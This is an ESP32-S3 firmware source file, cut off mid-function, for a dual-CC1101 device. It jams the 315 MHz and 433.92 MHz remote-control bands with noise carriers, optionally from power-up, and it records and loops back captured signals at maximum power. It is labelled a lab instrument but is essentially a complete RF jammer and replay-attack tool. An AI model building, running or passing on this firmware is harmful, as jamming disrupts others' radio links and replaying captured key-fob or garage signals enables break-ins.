/** * Dual CC1101 sub-GHz lab instrument (fixed carriers + optional capture/replay). * ESP32-S3 DevKitC-1: two CC1101 on shared SPI. * Radio 1: 315.0 MHz narrow FM + LFSR on GDO0; Radio 2: 433.92 MHz wide FM + LFSR. * Intended for authorized RF research (e.g. sealed anechoic / shielded chamber). * CC1101 reset and SPI sequencing follow TI SWRS061 (CHIP_RDYn, SRES Fig. 27). */ #include #include #include #include #include #include #include "driver/gpio.h" #include #include #include #include #include #include #include #include "config.h" // Shared SPI; each Module uses its own CS. // Must pass SPIClass explicitly so RadioLib uses our configured pins. static SPIClass spi(FSPI); static ArduinoHal hal(spi, SPISettings(SPI_SPEED_HZ, MSBFIRST, SPI_MODE0)); static Module mod1(&hal, CC1101_1_CS, CC1101_1_GDO0, RADIOLIB_NC, RADIOLIB_NC); static Module mod2(&hal, CC1101_2_CS, CC1101_2_GDO0, RADIOLIB_NC, RADIOLIB_NC); CC1101 radio1(&mod1); CC1101 radio2(&mod2); static WebServer server(WEB_PORT); static Preferences preferences; // CC1101 valid discrete power levels in dBm (RadioLib only accepts these exact values) static const int8_t kPowerTable[JAM_POWER_LEVELS] = { -30, -20, -15, -10, 0, 5, 7, 10 }; // Jamming state — TX power fixed at CC1101 max (+10 dBm); no PA in hardware path. static bool jammingEnabled = false; static uint8_t jamPowerIdx = DEFAULT_JAM_POWER_IDX; static int8_t jamPower = kPowerTable[DEFAULT_JAM_POWER_IDX]; // Auto-start jamming on power-up (NVS autoStartJam); independent of session toggle. static bool autoStartJam = DEFAULT_AUTO_START_JAM; // Individual radio status tracking static int8_t radio1Status = -1; // 0=init, 1=standby/idle OK, 2=transmitting, -1=error static int8_t radio2Status = -1; static String radio1Error = "Disabled / not initialized"; static String radio2Error = "Disabled / not initialized"; // Telemetry static uint32_t uptimeStart = 0; static float currentRssi1 = NAN; static float currentRssi2 = NAN; // Locked jam carriers (UI / OLED) static float jamFreq1 = JAM_LOCK_FREQ_1_MHZ; static float jamFreq2 = JAM_LOCK_FREQ_2_MHZ; // Gate LFSR ISR so GDO0 is only toggled for radios in direct async TX (avoids driving idle CC1101). static volatile bool s_noiseEn1 = false; static volatile bool s_noiseEn2 = false; // Auto-reinit watchdog static uint32_t lastReInitCheck = 0; // 24-hour operation health tracking static uint32_t hopCount1 = 0; // total frequency hops since boot static uint32_t hopCount2 = 0; static uint32_t minFreeHeap = 0xFFFFFFFF; // lowest heap ever observed static uint32_t lastTempWarnMs = 0; // rate-limit temperature warnings // ─── OLED (0.96" SSD1306 128x64) ───────────────────────────────────────────── // SW_I2C: bit-bangs GPIO directly — no Wire library involved, always works // if the pins are physically correct. SDA=GPIO17, SCL=GPIO18. static U8G2_SSD1306_128X64_NONAME_F_SW_I2C u8g2(U8G2_R0, OLED_SCL_PIN, OLED_SDA_PIN, U8X8_PIN_NONE); static bool oledOk = false; static uint8_t oledPage = 0; // 0=status, 1=freq/hops, 2=health static uint32_t oledPageMs = 0; static uint32_t oledTickMs = 0; static uint8_t waveFrame = 0; // 0-3 animated arc count static uint32_t waveMs = 0; static uint32_t notifEnd = 0; // millis() when current notification expires static char notifL1[22] = {}; static char notifL2[22] = {}; // ─── Rotary encoder ────────────────────────────────────────────────────────── static volatile int8_t encDelta = 0; // +1 CW / -1 CCW per detent static uint8_t encLastClk = HIGH; void IRAM_ATTR encISR() { const uint32_t in = REG_READ(GPIO_IN_REG); const uint8_t clk = (in >> ENC_CLK_PIN) & 1u; if (clk == encLastClk) return; // filter glitch encLastClk = clk; if (clk == LOW) { // falling edge = one detent encDelta += ((in >> ENC_DT_PIN) & 1u) ? +1 : -1; } } // Log ring buffer static constexpr size_t LOG_LINES = 100; static String logRing[LOG_LINES]; static size_t logHead = 0; static size_t logCount = 0; static void logLine(const String& s) { uint32_t ms = millis(); uint32_t ss = ms / 1000; uint32_t mm = ss / 60; ss %= 60; uint32_t hh = mm / 60; mm %= 60; char ts[12]; snprintf(ts, sizeof(ts), "[%02u:%02u:%02u] ", hh, mm, ss); const String line = String(ts) + s; logRing[logHead] = line; logHead = (logHead + 1) % LOG_LINES; if (logCount < LOG_LINES) logCount++; Serial.println(line); } static String getLogsText() { String out; out.reserve(4096); const size_t start = (logCount == LOG_LINES) ? logHead : 0; for (size_t i = 0; i < logCount; i++) { const size_t idx = (start + i) % LOG_LINES; out += logRing[idx]; out += '\n'; } return out; } static String jsonEscape(const String& in) { String out; out.reserve(in.length() + 8); for (size_t i = 0; i < in.length(); ++i) { const char c = in.charAt(i); if (c == '\\') out += "\\\\"; else if (c == '\"') out += "\\\""; else if (c == '\n') out += "\\n"; else if (c == '\r') out += "\\r"; else if (c == '\t') out += "\\t"; else out += c; } return out; } // ─── ESP-NOW peer mesh (auto-discover same firmware, no MAC entry) ─────────── // All units must use the same WiFi AP channel (softAP uses ch 1). Beacons go to // broadcast; packets with magic "KLNK" mark another board running this build. static constexpr uint8_t kEspNowMagic[4] = { 'K', 'L', 'N', 'K' }; struct EspNowPeerEntry { uint8_t mac[6]; uint32_t lastSeenMs; }; static EspNowPeerEntry s_espNowPeers[ESPNOW_MAX_PEERS]; static uint8_t s_espNowPeerCount = 0; static uint32_t s_espNowBootToken = 0; static bool s_espNowReady = false; static uint32_t s_espNowLastTxMs = 0; static uint8_t s_espNowSelfMac[6]; static uint8_t espNowActivePeerCount() { const uint32_t now = millis(); uint8_t n = 0; for (uint8_t i = 0; i < s_espNowPeerCount; i++) { if (now - s_espNowPeers[i].lastSeenMs < ESPNOW_PEER_STALE_MS) n++; } return n; } static void espNowTouchPeer(const uint8_t mac[6]) { if (memcmp(mac, s_espNowSelfMac, 6) == 0) return; for (uint8_t i = 0; i < s_espNowPeerCount; i++) { if (memcmp(s_espNowPeers[i].mac, mac, 6) == 0) { s_espNowPeers[i].lastSeenMs = millis(); return; } } if (s_espNowPeerCount < ESPNOW_MAX_PEERS) { memcpy(s_espNowPeers[s_espNowPeerCount].mac, mac, 6); s_espNowPeers[s_espNowPeerCount].lastSeenMs = millis(); s_espNowPeerCount++; char m[24]; snprintf(m, sizeof(m), "%02X:%02X:%02X:%02X:%02X:%02X", mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]); logLine("[ESPNOW] node " + String(m)); return; } uint8_t bi = 0; uint32_t oldest = s_espNowPeers[0].lastSeenMs; for (uint8_t i = 1; i < ESPNOW_MAX_PEERS; i++) { if (s_espNowPeers[i].lastSeenMs < oldest) { oldest = s_espNowPeers[i].lastSeenMs; bi = i; } } memcpy(s_espNowPeers[bi].mac, mac, 6); s_espNowPeers[bi].lastSeenMs = millis(); } static void espNowOnRecv(const uint8_t* mac, const uint8_t* data, int len) { if (len < 12 || mac == nullptr || data == nullptr) return; if (memcmp(data, kEspNowMagic, 4) != 0) return; espNowTouchPeer(mac); } static void espNowInit() { s_espNowBootToken = esp_random(); if (s_espNowBootToken == 0) s_espNowBootToken = 0xC0FFEE01u; if (esp_read_mac(s_espNowSelfMac, ESP_MAC_WIFI_SOFTAP) != ESP_OK) { memset(s_espNowSelfMac, 0, 6); } if (esp_now_init() != ESP_OK) { logLine("[ESPNOW] esp_now_init failed"); return; } esp_now_register_recv_cb(espNowOnRecv); uint8_t bcast[6] = { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF }; esp_now_peer_info_t peer = {}; memcpy(peer.peer_addr, bcast, 6); peer.channel = 0; peer.encrypt = false; peer.ifidx = WIFI_IF_AP; esp_err_t e = esp_now_add_peer(&peer); if (e != ESP_OK) { logLine("[ESPNOW] add_peer(broadcast) failed: " + String((int)e)); esp_now_deinit(); return; } s_espNowReady = true; logLine("[ESPNOW] mesh listening; beacons every " + String(ESPNOW_BEACON_MS) + " ms (same AP channel)"); } static void espNowTick() { if (!s_espNowReady) return; const uint32_t now = millis(); if (now - s_espNowLastTxMs < ESPNOW_BEACON_MS) return; s_espNowLastTxMs = now; uint8_t pkt[12]; memcpy(pkt, kEspNowMagic, 4); memcpy(pkt + 4, &s_espNowBootToken, 4); uint32_t up = now - uptimeStart; memcpy(pkt + 8, &up, 4); uint8_t bcast[6] = { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF }; (void)esp_now_send(bcast, pkt, sizeof(pkt)); } // Forward declarations static void noiseGenStart(); static void startJamming(); static void stopJamming(); static void probeRadiosStandby(); static void oledNotify(const char* l1, const char* l2, uint32_t dur); static void spiWriteReg(uint8_t csPin, uint8_t reg, uint8_t val); // ─── Noise generator globals (used by stopJamming before definition) ───────── static volatile uint32_t s_lfsr = 0xDEADBEEFu; static hw_timer_t* s_noiseTimer = nullptr; // ─── Signal capture / replay globals ───────────────────────────────────────── // Buffer lives in BSS (static) — 50 KB, no heap fragmentation. static uint8_t capBuf[CAP_BUF_BYTES]; enum class CapMode : uint8_t { IDLE=0, RECORDING=1, RECORDED=2, REPLAYING=3 }; static volatile CapMode capMode = CapMode::IDLE; static volatile uint32_t capIdx = 0; // current bit index static volatile bool capBufFull = false; // set by ISR when buffer fills static uint32_t capRecBits = 0; // bits stored after recording static float capFreq = 315.0f; // frequency at capture time static uint8_t capRadioNum = 1; // 1 or 2 static bool capIsOOK = true; // modulation: true=OOK, false=2-FSK static gpio_num_t capGdoPin = (gpio_num_t)CC1101_1_GDO0; static hw_timer_t* capTimer = nullptr; static volatile uint32_t capTransitions = 0; // edge count — used for bitrate estimation static volatile uint32_t capLongRuns = 0; // counts stable runs (>15 samples) to filter out thermal noise static uint32_t capCurrentRun = 0; // current stable run length static bool capSigNotified = false; // fire OLED notification only once per session static bool capPrevJamming = false; // jammingEnabled state saved before capture pauses it struct CapHistoryEntry { uint32_t uptime_ms; float freq_mhz; uint32_t bits; uint8_t radio_num; uint8_t is_ook; }; static CapHistoryEntry capHistory[CAP_HISTORY_MAX]; static uint8_t capHistoryCount = 0; static void capHistoryPersist() { preferences.putUChar("capHistN", capHistoryCount); if (capHistoryCount > 0) { preferences.putBytes("capHist", capHistory, capHistoryCount * sizeof(CapHistoryEntry)); } } static void capHistoryLoad() { capHistoryCount = preferences.getUChar("capHistN", 0); if (capHistoryCount > CAP_HISTORY_MAX) capHistoryCount = CAP_HISTORY_MAX; if (capHistoryCount == 0) return; const size_t expect = capHistoryCount * sizeof(CapHistoryEntry); const size_t rd = preferences.getBytes("capHist", capHistory, sizeof(capHistory)); if (rd < expect) { capHistoryCount = (uint8_t)(rd / sizeof(CapHistoryEntry)); } } static void capHistoryAppend(uint32_t bits, float freqMhz, uint8_t radioNum, bool isOOK) { if (bits < 100) return; if (capHistoryCount < CAP_HISTORY_MAX) { memmove(&capHistory[1], &capHistory[0], capHistoryCount * sizeof(CapHistoryEntry)); capHistoryCount++; } else { memmove(&capHistory[1], &capHistory[0], (CAP_HISTORY_MAX - 1) * sizeof(CapHistoryEntry)); } capHistory[0].uptime_ms = millis(); capHistory[0].freq_mhz = freqMhz; capHistory[0].bits = bits; capHistory[0].radio_num = radioNum; capHistory[0].is_ook = isOOK ? 1u : 0u; capHistoryPersist(); } // ─── Capture/replay ISRs ────────────────────────────────────────────────────── static void IRAM_ATTR capRecordISR() { const uint32_t i = capIdx; if (i >= (uint32_t)(CAP_BUF_BYTES * 8)) { capBufFull = true; return; } const uint8_t bit = (uint8_t)((REG_READ(GPIO_IN_REG) >> capGdoPin) & 1u); // Count transitions and long stable runs (software squelch) if (i > 0) { const uint8_t prev = (capBuf[(i-1) >> 3] >> ((i-1) & 7)) & 1u; if (bit == prev) { capCurrentRun++; } else { capTransitions++; if (capCurrentRun > 15) capLongRuns++; capCurrentRun = 0; } } if (bit) capBuf[i >> 3] |= (1u << (i & 7)); else capBuf[i >> 3] &= ~(1u << (i & 7)); capIdx = i + 1; } static void IRAM_ATTR capReplayISR() { uint32_t i = capIdx; if (i >= capRecBits) { i = 0; } // loop seamlessly const uint8_t bit = (capBuf[i >> 3] >> (i & 7)) & 1u; gpio_set_level(capGdoPin, bit); capIdx = i + 1; } // ─── Capture/replay management ─────────────────────────────────────────────── static void capTimerStop() { if (capTimer) { timerAlarmDisable(capTimer); timerDetachInterrupt(capTimer); timerEnd(capTimer); capTimer = nullptr; } } static void startCapture(float freq, uint8_t radioNum, bool isOOK) { capPrevJamming = jammingEnabled; // save before stopJamming() clears it stopJamming(); capFreq = freq; capRadioNum = radioNum; capIsOOK = isOOK; capGdoPin = (radioNum == 1) ? (gpio_num_t)CC1101_1_GDO0 : (gpio_num_t)CC1101_2_GDO0; capIdx = 0; capBufFull = false; capRecBits = 0; capTransitions = 0; capLongRuns = 0; capCurrentRun = 0; capSigNotified = false; memset(capBuf, 0, sizeof(capBuf)); CC1101& radio = (radioNum == 1) ? radio1 : radio2; radio.standby(); radio.setOOK(isOOK); radio.setFrequency(freq); radio.setFrequencyDeviation(JAM_FREQ_DEV_KHZ); radio.receiveDirect(); // GDO0 becomes demodulated-data output from CC1101 // After receiveDirect, CC1101 drives GDO0 — set ESP32 pin as input to read it gpio_set_direction(capGdoPin, GPIO_MODE_INPUT); capTimerStop(); capMode = CapMode::RECORDING; capTimer = timerBegin(3, 80, true); // timer 3, 1 MHz tick timerAttachInterrupt(capTimer, &capRecordISR, true); timerAlarmWrite(capTimer, 1000000 / CAP_SAMPLE_HZ, true); // period in µs timerAlarmEnable(capTimer); logLine("[CAP] Recording " + String(freq, 3) + " MHz via radio " + String(radioNum) + " @ " + String(CAP_SAMPLE_HZ/1000) + " kHz"); oledNotify("RECORDING", (String(freq, 2) + " MHz").c_str(), 2500); } static void startReplay(uint8_t radioNum) { if (capRecBits == 0) { logLine("[CAP] Nothing captured to replay"); return; } capPrevJamming = jammingEnabled; // save before stopJamming() clears it stopJamming(); capRadioNum = radioNum; capGdoPin = (radioNum == 1) ? (gpio_num_t)CC1101_1_GDO0 : (gpio_num_t)CC1101_2_GDO0; capIdx = 0; CC1101& radio = (radioNum == 1) ? radio1 : radio2; const uint8_t csPin = (radioNum == 1) ? CC1101_1_CS : CC1101_2_CS; radio.standby(); radio.setOOK(capIsOOK); radio.setFrequency(capFreq); radio.setFrequencyDeviation(JAM_FREQ_DEV_KHZ); // Configure PATABLE for maximum OOK contrast and TX power. // In OOK mode the CC1101 uses PATABLE[0] for "0" bits and PATABLE[1] for "1" bits. // 0x00 = full off, 0xC0 = max power (+10 dBm). This gives the sharpest on/off // keying and maximizes replay range by eliminating residual carrier leakage during OFF. if (capIsOOK) { spiWriteReg(csPin, 0x3E, 0x00); // PATABLE[0] = off spi.beginTransaction(SPISettings(SPI_SPEED_HZ, MSBFIRST, SPI_MODE0)); digitalWrite(csPin, LOW); spi.transfer(0x7E); // Burst write PATABLE spi.transfer(0x00); // index 0: OFF spi.transfer(0xC0); // index 1: max power (+10 dBm) digitalWrite(csPin, HIGH); spi.endTransaction(); } radio.transmitDirectAsync(); // GDO0 becomes data input to CC1101 gpio_set_direction(capGdoPin, GPIO_MODE_OUTPUT); capTimerStop(); capMode = CapMode::REPLAYING; capTimer = timerBegin(3, 80, true); timerAttachInterrupt(capTimer, &capReplayISR, true); timerAlarmWrite(capTimer, 1000000 / CAP_SAMPLE_HZ, true); timerAlarmEnable(capTimer); logLine("[CAP] Replaying " + String(capFreq, 3) + " MHz, " + String(capRecBits) + " bits (" + String(capRecBits * 1000 / CAP_SAMPLE_HZ) + " ms), looping"); oledNotify("REPLAYING", (String(capFreq, 2) + " MHz").c_str(), 2500); } static void stopCapture() { capTimerStop(); if (capMode == CapMode::RECORDING) { capRecBits = capIdx; capMode = (capRecBits > 0) ? CapMode::RECORDED : CapMode::IDLE; logLine("[CAP] Stopped: " + String(capRecBits) + " bits saved"); oledNotify("CAPTURED", (String(capRecBits / 1000) + "k bits").c_str(), 2500); if (capRecBits >= 100) { capHistoryAppend(capRecBits, capFreq, capRadioNum, capIsOOK); } } else if (capMode == CapMode::REPLAYING) { capMode = CapMode::RECORDED; logLine("[CAP] Replay stopped"); oledNotify("REPLAY", "STOPPED", 2500); } // Restore pin direction then restart jamming if it was active before capture gpio_set_direction(capGdoPin, GPIO_MODE_OUTPUT); gpio_set_level(capGdoPin, 0); if (capPrevJamming) { capPrevJamming = false; jammingEnabled = true; startJamming(); } } // Simple signal analysis — counts transitions to estimate original bitrate // and measures duty cycle (fraction of 1s = carrier-on time). static String capAnalyze() { if (capRecBits < 100) return "{\"err\":\"no data\"}"; uint32_t ones = 0, transitions = 0; uint8_t prev = (capBuf[0] >> 0) & 1u; if (prev) ones++; // count bit 0 for (uint32_t i = 1; i < capRecBits; i++) { const uint8_t b = (capBuf[i >> 3] >> (i & 7)) & 1u; if (b) ones++; if (b != prev) { transitions++; prev = b; } } // Approximate original bitrate: each symbol averages capRecBits/transitions samples const uint32_t avgRunLen = (transitions > 0) ? (capRecBits / transitions) : capRecBits; const uint32_t estBps = (avgRunLen > 0) ? (CAP_SAMPLE_HZ / avgRunLen) : 0; const uint32_t dutyPct = (uint32_t)(ones * 100UL / capRecBits); const uint32_t durMs = capRecBits * 1000 / CAP_SAMPLE_HZ; char buf[200]; snprintf(buf, sizeof(buf), "{\"bits\":%lu,\"dur_ms\":%lu,\"transitions\":%lu," "\"est_bps\":%lu,\"duty_pct\":%lu,\"freq\":%.3f}", (unsigned long)capRecBits, (unsigned long)durMs, (unsigned long)transitions, (unsigned long)estBps, (unsigned long)dutyPct, (double)capFreq); return String(buf); } // ─── Raw SPI (PATABLE burst for OOK replay) ────────────────────────────────── static void spiWriteReg(uint8_t csPin, uint8_t reg, uint8_t val) { spi.beginTransaction(SPISettings(SPI_SPEED_HZ, MSBFIRST, SPI_MODE0)); digitalWrite(csPin, LOW); spi.transfer(reg); spi.transfer(val); digitalWrite(csPin, HIGH); spi.endTransaction(); } // TI CC1101 SWRS061 §10.1 / §19.1.2 Figure 27 — CHIP_RDYn on SO after CSn low; SRES with SCLK=1, SI=0 before sequence. static bool cc1101WaitMisoLow(uint32_t timeoutUs) { const uint32_t t0 = micros(); while (digitalRead(SPI_MISO_PIN) == HIGH) { if ((uint32_t)(micros() - t0) > timeoutUs) return false; } return true; } static bool cc1101ManualReset(uint8_t csPin) { digitalWrite(CC1101_1_CS, HIGH); digitalWrite(CC1101_2_CS, HIGH); pinMode(SPI_SCK_PIN, OUTPUT); pinMode(SPI_MOSI_PIN, OUTPUT); digitalWrite(SPI_SCK_PIN, HIGH); digitalWrite(SPI_MOSI_PIN, LOW); pinMode(csPin, OUTPUT); digitalWrite(csPin, HIGH); delayMicroseconds(20); digitalWrite(csPin, LOW); delayMicroseconds(200); digitalWrite(csPin, HIGH); delayMicroseconds(50); digitalWrite(csPin, LOW); if (!cc1101WaitMisoLow(10000)) { digitalWrite(csPin, HIGH); return false; } spi.beginTransaction(SPISettings(SPI_SPEED_HZ, MSBFIRST, SPI_MODE0)); spi.transfer(0x30); { const uint32_t t0 = micros(); while (digitalRead(SPI_MISO_PIN) == HIGH) { if ((uint32_t)(micros() - t0) > 50000) { digitalWrite(csPin, HIGH); spi.endTransaction(); return false; } } } digitalWrite(csPin, HIGH); spi.endTransaction(); // XOSC / digital core settle (SWRS061 §19.1); margin beyond 150 µs tsp,pd for lab repeatability delayMicroseconds(800); return true; } static uint8_t cc1101ReadRegister(uint8_t csPin, uint8_t regAddr6) { digitalWrite(CC1101_1_CS, HIGH); digitalWrite(CC1101_2_CS, HIGH); spi.beginTransaction(SPISettings(SPI_SPEED_HZ, MSBFIRST, SPI_MODE0)); digitalWrite(csPin, LOW); delayMicroseconds(10); spi.transfer((uint8_t)(0x80u | (regAddr6 & 0x3Fu))); uint8_t v = spi.transfer(0x00); digitalWrite(csPin, HIGH); spi.endTransaction(); return v; } // VERSION (0x31): only 0xFF indicates dead SPI / wrong CS; other values are valid silicon revs (SWRS061). static bool cc1101VerifyVersion(uint8_t csPin, String* errOut) { const uint8_t ver = cc1101ReadRegister(csPin, 0x31); if (ver == 0xFF) { if (errOut) *errOut = "VERSION 0xFF (MISO open or CS conflict)"; return false; } logLine("[CC1101] CS" + String((int)csPin) + " VERSION=0x" + String(ver, HEX)); return true; } static void probeOneRadio(CC1101& radio, uint8_t cs, float nomMhz, float lockMhz, float devKhz, int8_t& stOut, String& errOut) { stOut = -1; if (!cc1101ManualReset(cs)) { errOut = "SRES/CHIP_RDYn failed (see SWRS061 Fig.27)"; return; } delay(5); int st = RADIOLIB_ERR_CHIP_NOT_FOUND; for (int attempt = 0; attempt < 3 && st != RADIOLIB_ERR_NONE; attempt++) { if (attempt > 0) delay(30); st = radio.begin(nomMhz, JAM_BITRATE_KBPS, JAM_FREQ_DEV_KHZ, JAM_RX_BW_KHZ, jamPower, 16); } if (st != RADIOLIB_ERR_NONE) { errOut = "Init failed: " + String(st); return; } String verr; if (!cc1101VerifyVersion(cs, &verr)) { (void)radio.standby(); errOut = verr; return; } radio.setFrequency(lockMhz); radio.setFrequencyDeviation(devKhz); (void)radio.standby(); stOut = 1; errOut = ""; } static void probeRadiosStandby() { radio1Error = ""; radio2Error = ""; jamFreq1 = JAM_LOCK_FREQ_1_MHZ; jamFreq2 = JAM_LOCK_FREQ_2_MHZ; int8_t s1 = -1, s2 = -1; probeOneRadio(radio1, CC1101_1_CS, CC1101_1_FREQ_MHZ, JAM_LOCK_FREQ_1_MHZ, JAM_DEV_KHZ_R1_NARROW, s1, radio1Error); radio1Status = s1; probeOneRadio(radio2, CC1101_2_CS, CC1101_2_FREQ_MHZ, JAM_LOCK_FREQ_2_MHZ, JAM_DEV_KHZ_R2_WIDE, s2, radio2Error); radio2Status = s2; if (radio1Status == 1) logLine("[R1] probe OK (standby)"); else logLine("[R1] probe FAIL: " + radio1Error); if (radio2Status == 1) logLine("[R2] probe OK (standby)"); else logLine("[R2] probe FAIL: " + radio2Error); } // Start simultaneous jamming on both radios (SRES before each begin; VERSION check; noise after TX entry). static void startJamming() { logLine("[JAM] Starting simultaneous jamming system"); jamPowerIdx = DEFAULT_JAM_POWER_IDX; jamPower = kPowerTable[jamPowerIdx]; preferences.putInt("jamPowerIdx", (int)jamPowerIdx); logLine("[JAM] TX power fixed: " + String(jamPower) + " dBm (max)"); s_noiseEn1 = false; s_noiseEn2 = false; if (s_noiseTimer) { timerAlarmDisable(s_noiseTimer); timerDetachInterrupt(s_noiseTimer); timerEnd(s_noiseTimer); s_noiseTimer = nullptr; } gpio_set_level((gpio_num_t)CC1101_1_GDO0, 0); gpio_set_level((gpio_num_t)CC1101_2_GDO0, 0); radio1Status = 0; radio2Status = 0; radio1Error = ""; radio2Error = ""; int st1 = RADIOLIB_ERR_CHIP_NOT_FOUND; for (int attempt = 0; attempt < 3 && st1 != RADIOLIB_ERR_NONE; attempt++) { if (attempt > 0) delay(50); if (!cc1101ManualReset(CC1101_1_CS)) { st1 = RADIOLIB_ERR_CHIP_NOT_FOUND; radio1Error = "SRES/CHIP_RDYn failed"; continue; } delay(5); st1 = radio1.begin(CC1101_1_FREQ_MHZ, JAM_BITRATE_KBPS, JAM_FREQ_DEV_KHZ, JAM_RX_BW_KHZ, jamPower, 16); } if (st1 != RADIOLIB_ERR_NONE) { radio1Status = -1; if (radio1Error.length() == 0) radio1Error = "Init failed: " + String(st1); logLine("[R1] init failed: " + radio1Error); } else { String verr; if (!cc1101VerifyVersion(CC1101_1_CS, &verr)) { (void)radio1.standby(); radio1Status = -1; radio1Error = verr; logLine("[R1] VERSION check failed: " + verr); } else { radio1Status = 1; radio1.setFrequency(JAM_LOCK_FREQ_1_MHZ); radio1.setFrequencyDeviation(JAM_DEV_KHZ_R1_NARROW); } } int st2 = RADIOLIB_ERR_CHIP_NOT_FOUND; for (int attempt = 0; attempt < 3 && st2 != RADIOLIB_ERR_NONE; attempt++) { if (attempt > 0) delay(50); if (!cc1101ManualReset(CC1101_2_CS)) { st2 = RADIOLIB_ERR_CHIP_NOT_FOUND; radio2Error = "SRES/CHIP_RDYn failed"; continue; } delay(5); st2 = radio2.begin(CC1101_2_FREQ_MHZ, JAM_BITRATE_KBPS, JAM_FREQ_DEV_KHZ, JAM_RX_BW_KHZ, jamPower, 16); } if (st2 != RADIOLIB_ERR_NONE) { radio2Status = -1; if (radio2Error.length() == 0) radio2Error = "Init failed: " + String(st2); logLine("[R2] init failed: " + radio2Error); } else { String verr; if (!cc1101VerifyVersion(CC1101_2_CS, &verr)) { (void)radio2.standby(); radio2Status = -1; radio2Error = verr; logLine("[R2] VERSION check failed: " + verr); } else { radio2Status = 1; radio2.setFrequency(JAM_LOCK_FREQ_2_MHZ); radio2.setFrequencyDeviation(JAM_DEV_KHZ_R2_WIDE); } } jamFreq1 = JAM_LOCK_FREQ_1_MHZ; jamFreq2 = JAM_LOCK_FREQ_2_MHZ; int stTx1 = RADIOLIB_ERR_NONE; int stTx2 = RADIOLIB_ERR_NONE; if (radio1Status == 1) { stTx1 = radio1.transmitDirectAsync(); if (stTx1 != RADIOLIB_ERR_NONE) { radio1Status = -1; radio1Error = "Transmit failed: " + String(stTx1); logLine("[R1] transmitDirectAsync failed: " + String(stTx1)); } else { radio1Status = 2; } } if (radio2Status == 1) { stTx2 = radio2.transmitDirectAsync(); if (stTx2 != RADIOLIB_ERR_NONE) { radio2Status = -1; radio2Error = "Transmit failed: " + String(stTx2); logLine("[R2] transmitDirectAsync failed: " + String(stTx2)); } else { radio2Status = 2; } } s_noiseEn1 = (radio1Status == 2); s_noiseEn2 = (radio2Status == 2); if (s_noiseEn1 || s_noiseEn2) { noiseGenStart(); } if (radio1Status == 2 || radio2Status == 2) { logLine("[JAM] Fixed carriers:"); logLine("[JAM] R1: " + String(JAM_LOCK_FREQ_1_MHZ, 2) + " MHz @ " + String(jamPower) + " dBm (" + String(radio1Status == 2 ? "TX" : "off") + ")"); logLine("[JAM] R2: " + String(JAM_LOCK_FREQ_2_MHZ, 2) + " MHz @ " + String(jamPower) + " dBm (" + String(radio2Status == 2 ? "TX" : "off") + ")"); } else { logLine("[JAM] Both radios failed — check SPI, power, antenna"); logLine("[JAM] R1: " + radio1Error); logLine("[JAM] R2: " + radio2Error); } } // Stop jamming — idempotent, safe to call at any time including from capture code. // Always brings GDO0 pins and noise timer to a known-safe state regardless of // whether jammingEnabled was true. Only logs if something was actually active. static void stopJamming() { const bool wasActive = jammingEnabled; s_noiseEn1 = false; s_noiseEn2 = false; // Always stop noise timer first — prevents ISR touching GDO0 during standby if (s_noiseTimer) { timerAlarmDisable(s_noiseTimer); timerDetachInterrupt(s_noiseTimer); timerEnd(s_noiseTimer); s_noiseTimer = nullptr; } gpio_set_level((gpio_num_t)CC1101_1_GDO0, 0); gpio_set_level((gpio_num_t)CC1101_2_GDO0, 0); if (radio1Status == 2) { int st1 = radio1.standby(); if (st1 != RADIOLIB_ERR_NONE) { radio1Error = "Standby failed: " + String(st1); logLine("[R1] standby failed: " + String(st1)); } else { radio1Status = 1; radio1Error = ""; } } if (radio2Status == 2) { int st2 = radio2.standby(); if (st2 != RADIOLIB_ERR_NONE) { radio2Error = "Standby failed: " + String(st2); logLine("[R2] standby failed: " + String(st2)); } else { radio2Status = 1; radio2Error = ""; } } jammingEnabled = false; if (wasActive) logLine("[JAM] Jamming stopped"); } // ─── OLED functions ────────────────────────────────────────────────────────── // Queue a full-screen notification overlay for dur ms. static void oledNotify(const char* l1, const char* l2, uint32_t dur = 2500) { if (!oledOk) return; strlcpy(notifL1, l1, sizeof(notifL1)); strlcpy(notifL2, l2, sizeof(notifL2)); notifEnd = millis() + dur; oledPageMs = notifEnd; // reset page timer after notification clears } // Show a synchronous one-shot boot status message (called during setup). static void oledBootMsg(const char* line) { if (!oledOk) return; u8g2.clearBuffer(); u8g2.setFont(u8g2_font_7x13_tf); u8g2.drawStr(0, 14, "CC1101 JAMMER"); u8g2.setFont(u8g2_font_6x10_tf); u8g2.drawStr(0, 27, "ESP32-S3 INIT"); u8g2.drawHLine(0, 30, 128); u8g2.drawStr(0, 46, line); u8g2.sendBuffer(); } // Draw animated right-half radio-wave arcs at (cx, cy), n arcs (0-3). static void oledDrawWaves(uint8_t cx, uint8_t cy, uint8_t n) { for (uint8_t i = 0; i < n; i++) { u8g2.drawCircle(cx, cy, (i + 1) * 3, U8G2_DRAW_UPPER_RIGHT | U8G2_DRAW_LOWER_RIGHT); } } // Draw page indicator dots in the yellow zone (top-right corner) // page = current page (0-2) static void oledPageDots(uint8_t page) { for (uint8_t i = 0; i < 3; i++) { const uint8_t x = 116 + i * 5; if (i == page) u8g2.drawBox(x, 4, 3, 3); // filled = active else u8g2.drawFrame(x, 4, 3, 3); // outline = inactive } } // Page 0 — Live Status // Yellow zone (y 0-15): status header // Blue zone (y16-63): 4 data lines with 5x7 font static void oledDrawStatus() { const bool jam = jammingEnabled; const bool r1 = (radio1Status == 2); const bool r2 = (radio2Status == 2); const CapMode cm = capMode; // Yellow zone header u8g2.setFont(u8g2_font_6x10_tf); if (cm == CapMode::RECORDING) { // Flashing border effect — blink every ~500 ms using bit 9 of millis() if (millis() & 512) { u8g2.drawBox(0, 0, 128, 13); u8g2.setDrawColor(0); } u8g2.drawStr(2, 10, ">> RECORDING <<"); u8g2.setDrawColor(1); } else if (cm == CapMode::REPLAYING) { u8g2.drawBox(0, 0, 128, 13); u8g2.setDrawColor(0); u8g2.drawStr(2, 10, ">> REPLAYING <<"); u8g2.setDrawColor(1); } else if (jam) { u8g2.drawBox(0, 0, 110, 13); u8g2.setDrawColor(0); u8g2.drawStr(2, 10, ">> LOCKED JAM <<"); u8g2.setDrawColor(1); } else { u8g2.drawStr(2, 10, "-- STANDBY --"); } oledPageDots(0); // Blue zone — 5x7 font u8g2.setFont(u8g2_font_5x7_tf); const uint8_t nW = waveFrame; if (cm == CapMode::RECORDING || cm == CapMode::REPLAYING) { // Show capture/replay status instead of sweep info char buf[24]; snprintf(buf, sizeof(buf), "%.3f MHz R%u", (double)capFreq, 